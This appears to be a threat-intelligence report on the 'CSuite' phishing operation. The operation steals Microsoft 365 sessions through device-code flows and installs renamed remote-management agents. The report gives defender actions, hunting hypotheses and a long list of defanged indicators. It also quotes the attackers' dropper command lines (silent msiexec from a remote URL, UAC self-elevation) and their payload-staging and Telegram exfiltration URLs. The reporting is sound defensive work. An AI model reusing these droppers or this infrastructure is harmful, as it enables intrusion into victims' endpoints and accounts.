10 minhigh
CSuite Targets US and EU Organizations with Device-Code Phishing and Remote Access
CSuite operation targets US and EU organizations with device-code phishing and legitimate RMM tool deployment, stealing Microsoft 365 sessions and gaining persistent endpoint access through ScreenConnect, Action1, and Atera agents. CSuite uses a dual-path attack: one deploys legitimate remote-management tools (ScreenConnect, Action1, Atera, Syncro, PDQ Connect) renamed as Adobe or DocuSign installers via batch droppers; the other steals Microsoft 365 credentials and live sessions through device-code authentication flows. A custom CSuite v1.1 panel with 23 modules manages 38 domains, 1,593 lure documents, and 29 captured M365 sessions. ScreenConnect installations register credential providers and LSA authentication packages, surviving safe mode.
Sens:▲ 24h
IOCs65
40domain11ip7filename5url2sha256
Detection / Hunteropenrouter
Immediate Actions
defender takeaway
- Block all listed IPs, domains, and GitHub URLs at firewall and proxy
- Audit all endpoints for ScreenConnect, Action1, Atera, Syncro, and PDQ Connect installations
- Revoke active Microsoft 365 sessions for users who clicked lure links
- Disable device-code authentication flow in Azure AD conditional access
Key Takeaways
- 60% of identified victims were US-based; 351 sandbox analyses across 170 hosts observed
- CSuite v1.1 panel contains 23 modules including Sessions, Chameleon, Adobe Sender, and DocForge
- ScreenConnect installer registers credential provider and LSA auth package, persists in safe mode
- Payloads staged on public GitHub account Ivan3900 across nine repositories
- Two SMTP relays with DKIM: mail.wirsann.com and mail.boratlongyear.com
- Anti-bot gate checks 40 crawler signatures, 32 security vendor names, and browser fingerprinting
Attack Chain
- Lure: Victim receives Adobe Document Cloud share invitation or themed email from compromised mailbox
- Gate: Redirector host runs anti-bot checks, routes by mail provider (Microsoft, Google, or generic)
- Landing page: Counterfeit Adobe/DocuSign/Zoom viewer loads, reports visitor to Telegram bot API
- Handover: Batch script or VBS dropper downloaded; self-elevates via UAC and calls msiexec on remote MSI
- Execution: Legitimate RMM agent (ScreenConnect, Action1, Atera) installs silently, registers credential provider and LSA auth package
- Persistence: Agent survives safe mode with networking, loads at boot in authentication path, captures interactive logons
- Account compromise: Credential branch steals password and live M365 session via device-code flow, session kept alive in panel
Affected Systems
- Microsoft 365 environments
- Windows endpoints (all versions supporting MSI installers)
- Organizations using Adobe Document Cloud
- Managed service providers and technology firms
- Government and public administration entities
- Non-profits with limited security resources
Detection Availability
- Published: Other detection logic
- Platforms: ANY.RUN TI Lookup
ANY.RUN TI Lookup queries provided for URL patterns /m/js/utils.js$ and eDocusign.php$ paths. No YARA, Sigma, or IDS rules published.
Detection Engineering Assessment
Hypotheses are starting points derived from the article, not findings about your environment; validate against your own telemetry.
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | RMM agents are legitimate software; EDR may not flag them. Script droppers and msiexec from URLs are visible. |
| Network Visibility | Medium | Telegram API and GitHub raw URLs are observable. Cloudflare Workers and R2 traffic blend with legitimate CDN use. |
| Detection Difficulty | Hard | Attackers use legitimate RMM tools, legitimate cloud services, and anti-bot cloaking. Behavioral baselines for RMM deployment required. |
Hunting Hypotheses
| Hypothesis | Telemetry | Stage | FP Risk |
|---|---|---|---|
| Batch or VBS scripts invoking msiexec with remote URLs indicate dropper-based RMM installation (T1059.003, T1218.007) | Process command line with msiexec and http | Execution | Low — legitimate software rarely installs from raw URLs |
| New RMM agent installations not matching approved software inventory indicate adversary-delivered remote access tools (T1219) | Service creation events and process starts | Persistence | Medium — IT may deploy RMM tools legitimately |
| Authentication package or credential provider registrations outside IT change windows indicate persistence mechanism installation (T1547.002) | Registry modifications to LSA configuration | Persistence | Low — credential provider changes are rare |
| M365 sign-ins from device-code flow without corresponding interactive browser login indicate token theft (T1528, T1621) | Azure AD sign-in logs with deviceCode grant type | Credential Access | Low — device-code auth is uncommon in most orgs |
Required Log Sources
- Process creation events (Sysmon EID 1)
- Network connections (Sysmon EID 3)
- M365 sign-in and audit logs
- Mail flow logs (EOP/Defender)
- DNS resolution logs
- Windows Service and registry events (EID 7045, 13)
Key Behavioral Indicators
- msiexec invoked with HTTP/HTTPS URL argument instead of local path
- PowerShell self-elevation via Start-Process -Verb RunAs from batch context
- New service registered with Safe Mode start type (BootFlags=1)
- Credential provider DLL registered outside IT deployment window
- Network connections to api.telegram.org from user workstations
- GitHub raw URLs accessed by msiexec or PowerShell WebClient
Control Gaps
- Application allowlisting does not block renamed RMM installers
- Email gateway may not flag Adobe Document Cloud share invitations
- Conditional access may not restrict device-code authentication flow
- DNS filtering may not block newly registered lure domains fast enough
- EDR may not alert on legitimate RMM agent installation
False Positive Assessment
Medium — Legitimate RMM tools like ScreenConnect and Action1 are used by IT teams; detection must distinguish approved deployments from attacker-installed instances by checking against software inventory and change management records.
Recommendations
Suggestions to evaluate against your own environment, tooling, and incident-response procedures — not directives.
Infrastructure Hardening
- Block api.telegram.org from corporate workstations unless business-required
- Restrict GitHub raw content downloads for non-developer endpoints
- Implement DKIM/DMARC enforcement to reject spoofed Adobe and DocuSign emails
- Monitor DNS for newly registered domains matching lure naming patterns
User Protection
- Deploy EDR rules alerting on msiexec with remote URL arguments
- Enable Attack Surface Reduction rules blocking obfuscated script execution
- Configure Windows Defender SmartScreen to warn on downloaded batch and VBS files
- Restrict local administrator privileges to reduce UAC bypass impact
Security Awareness
- Train staff to verify Adobe Document Cloud share invitations by logging into Adobe directly
- Instruct users to report emails containing NMLS or licensing agreement themes
- Remind staff that legitimate document platforms never ask to download .bat or .vbs files
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping24 techniques
Tactic
Initial Access
Tactic
Persistence
Tactic
Stealth
Tactic
Defense Impairment
Tactic
Credential Access
Tactic
Command and Control
Tactic
Exfiltration
Plain-Language Summary
Attackers are sending fake Adobe, DocuSign, and Zoom emails to trick employees into downloading what looks like a document viewer. The downloaded file silently installs legitimate remote-access software like ScreenConnect, giving attackers full control of the computer. A separate path steals Microsoft 365 login sessions, letting attackers read mailboxes without needing a password. US organizations are the primary target, especially small non-profits and government offices. Block the listed domains and IP addresses, audit for unexpected RMM software, and train staff to verify document-sharing emails before clicking.
Additional IOCs
- Ips:
91[.]92[.]41[.]114- ScreenConnect relay on port 8041212[.]189[.]40[.]73- ScreenConnect relay on port 8041155[.]254[.]26[.]180- ScreenConnect relay delivering Adobe-named MSI188[.]127[.]227[.]18- mail.wirsann.com SMTP relay IP141[.]133[.]174[.]208- mail.boratlongyear.com SMTP relay IP103[.]65[.]237[.]122- peputragroup.com lure hosting IP172[.]93[.]106[.]214- ashland-energy.com lure hosting IP65[.]98[.]19[.]2- pedartgallery.com lure hosting IP
- Domains:
sharepointer-dr[.]com- Lure domain for DocuSign and Zoom themed pagesgreenbullet[.]ba- Shared hosting account fronting lure pagesghs[.]coorpes[.]com- Certificate host on shared lure hostinggreaterheights[.]sbs- Certificate host on shared lure hostingmmswerod[.]sbs- Certificate host on shared lure hostingstubborn-academy[.]icu- Address validator hostlegacy-bridge-node[.]net- Post-capture redirect shared between two panelsmail[.]boratlongyear[.]com- Second SMTP relay with DKIM for lure distributionpdfsecurtoview[.]sbs- Redirector domain with 61 recorded clickspdfsecurtoview365[.]sbs- Lure domain for Microsoft account victimspdfsecurtoviewsuite[.]sbs- Lure domain in panel registrydocsendsr[.]online- Lure domain in panel registrydocseed[.]online- Lure domain in panel registrydocseedn[.]online- Lure domain in panel registrydocseed[.]online- Lure domain in panel registrypikecac[.]cfd- Lure domain in panel registryallshore-io[.]cam- Lure domain in panel registrygiiro[.]net- Lure domain in panel registryexpressdocumentdelivery[.]org- Lure domain in panel registrysharerpoint[.]cam- Lure domain in panel registryvoicermailsmessager[.]cam- Lure domain in panel registrykeepsecurepasserword[.]cam- Lure domain in panel registryqrcoderuser[.]cfd- Lure domain in panel registryfincapitalxcom[.]cfd- Lure domain in panel registrypdfsecurtoviewothers[.]sbs- Chameleon credential harvester domainpdfsecurtoviewothers[.]cfd- Chameleon credential harvester domainambitiousaboutautismorguk[.]com- Impersonation domain mimicking UK autism charitysolarengyloanfunds[.]com- Impersonation domain mimicking energy loan fundusoffweb69[.]top- PHP kit lure domain serving eDocusign.phpnetcoxweb[.]top- PHP kit lure domain serving eDocusign.phpcoxnetwork[.]top- PHP kit lure domain serving eDocusign.phpsecuredocu[.]icu- Lure domain serving m/js/utils.jsgovlodgementhub[.]com- Lure domain serving m/js/utils.jsacrobatdocfiles[.]es- Lure domain serving m/js/utils.jscheckingweb[.]net- Lure domain hosting fake Adobe PDF viewer
- Urls:
hxxps://github[.]com/Ivan3900/mobi/raw/main/ScreenConnect.ClientSetup.msi- Payload staging URL, uploaded 18 August 2026hxxps://github[.]com/Ivan3900/jppp/raw/main/ScreenConnect.ClientSetup.msi- Payload staging URL with different ScreenConnect buildhxxps://app[.]action1[.]com/agent/5c2cda44-433f-11f1-9ef8-332f425c6d9a/Windows/agent(My_Organization).msi- Action1 agent download URL from operator tenanthxxps://api[.]telegram[.]org/bot8996595988:******/sendMessage- Telegram bot API exfiltration endpoint for visitor data
- File Hashes:
18bd107c39df12cc406c0dcb920ddde31a1aefc9dd90e3df5102fcbddc163235(SHA256) - Hash from sandbox analysis of lure page7c81963f1913cd07642d310f1994ae9f5166d6a5af8471a5edcc170e9ea1a502(SHA256) - Hash from sandbox analysis of lure page
- File Paths:
ScreenConnect.ClientSetup.msi- ScreenConnect installer delivered as payloadDocusignEditSetup.msi- DocuSign-themed MSI installer from PHP kitAdobe_Acrobat_V6trj.msi- Action1 agent renamed as Adobe AcrobatDotloop AgentSetup_V34.msi- Action1 agent renamed as DotloopAdobe_AgentInstallerV367.exe- Syncro agent renamed as AdobeDotloop_AgentInstallerV367.exe- Syncro agent renamed as DotloopPDQConnectAgent_ZoomUpdater.msi- PDQ Connect agent renamed as Zoom updater
- Command Lines:
- Purpose: Silent MSI installation of remote-management agent from remote URL | Tools:
msiexec.exe,batch script| Stage: Execution |msiexec /i "https://<url>" /quiet /norestart - Purpose: Self-elevation through UAC prompt to gain admin rights | Tools:
powershell.exe,cmd.exe| Stage: Privilege Escalation |powershell -Command "Start-Process '%~f0' -Verb RunAs" - Purpose: Check if current process already has administrative privileges | Tools:
cmd.exe,fltmc.exe| Stage: Privilege Escalation |fltmc >nul 2>&1 - Purpose: Download MSI payload via hidden PowerShell WebClient | Tools:
powershell.exe,Net.WebClient| Stage: Execution - Purpose: Silent MSI installation of staged agent package | Tools:
msiexec.exe| Stage: Execution |msiexec /i "%<var>%" /qn
- Purpose: Silent MSI installation of remote-management agent from remote URL | Tools:
- Other:
8996595988- Telegram bot token ID for visitor alert exfiltrationIvan3900- GitHub account hosting nine malicious repositories with lure pages and installers5c2cda44-433f-11f1-9ef8-332f425c6d9a- Action1 tenant identifier used for agent download
Showing defanged values
- domainacrobatdocfiles[.]esLure domain serving m/js/utils.js
- domainallshore-io[.]camLure domain in panel registry
- domainambitiousaboutautismorguk[.]comImpersonation domain mimicking UK autism charity
- domainarubanetworks-inc[.]comLure domain hosting DocuSign, Zoom, Dropbox themed pages
- domaincheckingweb[.]netLure domain hosting fake Adobe PDF viewer
- domaincorporate-sync-gate[.]netPost-capture redirect target shared between panels
- domaincoxnetwork[.]topPHP kit lure domain serving eDocusign.php
- domaindocseedn[.]onlineLure domain in panel registry
- domaindocseed[.]onlineLure domain in panel registry
- domaindocsendsr[.]onlineLure domain in panel registry
- domainemsafetoproceedtaward[.]topLure domain registered 7 August 2026
- domainexpressdocumentdelivery[.]orgLure domain in panel registry
- domainfincapitalxcom[.]cfdLure domain in panel registry
- domaingddfzxa[.]onlineLure pages and payload archive hosting
- domainghs[.]coorpes[.]comCertificate host on shared lure hosting
- domaingiiro[.]netLure domain in panel registry
- domaingovlodgementhub[.]comLure domain serving m/js/utils.js
- domaingreaterheights[.]sbsCertificate host on shared lure hosting
- domaingreenbullet[.]baShared hosting account fronting lure pages
- domainkeepsecurepasserword[.]camLure domain in panel registry
- domainlegacy-bridge-node[.]netPost-capture redirect shared between two panels
- domainmail[.]boratlongyear[.]comSecond SMTP relay with DKIM for lure distribution
- domainmaillive[.]sbsPanel administration host and device-code landing page
- domainmail[.]wirsann[.]comSMTP sending relay with DKIM for lure email distribution
- domainmmswerod[.]sbsCertificate host on shared lure hosting
- domainnetcoxweb[.]topPHP kit lure domain serving eDocusign.php
- domainpdfsecurtoview365[.]sbsLure domain for Microsoft account victims
- domainpdfsecurtoviewothers[.]cfdChameleon credential harvester domain
- domainpdfsecurtoviewothers[.]sbsChameleon credential harvester domain
- domainpdfsecurtoview[.]sbsRedirector domain with 61 recorded clicks
- domainpdfsecurtoviewsuite[.]sbsLure domain in panel registry
- domainpikecac[.]cfdLure domain in panel registry
- domainqrcoderuser[.]cfdLure domain in panel registry
- domainsecuredocu[.]icuLure domain serving m/js/utils.js
- domainsharepointer-dr[.]comLure domain for DocuSign and Zoom themed pages
- domainsharerpoint[.]camLure domain in panel registry
- domainsolarengyloanfunds[.]comImpersonation domain mimicking energy loan fund
- domainstubborn-academy[.]icuAddress validator host
- domainusoffweb69[.]topPHP kit lure domain serving eDocusign.php
- domainvoicermailsmessager[.]camLure domain in panel registry
- filenameAdobe_Acrobat_V6trj.msiAction1 agent renamed as Adobe Acrobat
- filenameAdobe_AgentInstallerV367.exeSyncro agent renamed as Adobe
- filenameDocusignEditSetup.msiDocuSign-themed MSI installer from PHP kit
- filenameDotloop_AgentInstallerV367.exeSyncro agent renamed as Dotloop
- filenameDotloopAgentSetup_V34.msiAction1 agent renamed as Dotloop
- filenamePDQConnectAgent_ZoomUpdater.msiPDQ Connect agent renamed as Zoom updater
- filenameScreenConnect.ClientSetup.msiScreenConnect installer delivered as payload
- ip103[.]65[.]237[.]122peputragroup.com lure hosting IP
- ip141[.]133[.]174[.]208mail.boratlongyear.com SMTP relay IP
- ip155[.]254[.]26[.]180ScreenConnect relay delivering Adobe-named MSI
- ip172[.]93[.]106[.]214ashland-energy.com lure hosting IP
- ip185[.]174[.]102[.]34GSuite panel host for credential capture
- ip188[.]127[.]227[.]18mail.wirsann.com SMTP relay IP
- ip207[.]189[.]19[.]40Remote-desktop foothold for hands-on operator work
- ip212[.]189[.]40[.]73ScreenConnect relay on port 8041
- ip64[.]204[.]180[.]203Self-hosted ScreenConnect relay serving Adobe.ClientSetup.msi
- ip65[.]98[.]19[.]2pedartgallery.com lure hosting IP
- ip91[.]92[.]41[.]114ScreenConnect relay on port 8041
- sha25618bd107c39df12cc406c0dcb920ddde31a1aefc9dd90e3df5102fcbddc163235Hash from sandbox analysis of lure page
- sha2567c81963f1913cd07642d310f1994ae9f5166d6a5af8471a5edcc170e9ea1a502Hash from sandbox analysis of lure page
- urlhxxps://api[.]telegram[.]org/bot8996595988:******/sendMessageTelegram bot API exfiltration endpoint for visitor data
- urlhxxps://app[.]action1[.]com/agent/5c2cda44-433f-11f1-9ef8-332f425c6d9a/Windows/agentMy_Organization[.]msiAction1 agent download URL from operator tenant
- urlhxxps://github[.]com/Ivan3900/jppp/raw/main/ScreenConnect[.]ClientSetup[.]msiPayload staging URL with different ScreenConnect build
- urlhxxps://github[.]com/Ivan3900/mobi/raw/main/ScreenConnect[.]ClientSetup[.]msiPayload staging URL, uploaded 18 August 2026
- urlhxxps://github[.]com/Ivan3900/test/raw/main/ScreenConnect[.]ClientSetup[.]msiPayload staging URL for ScreenConnect installer
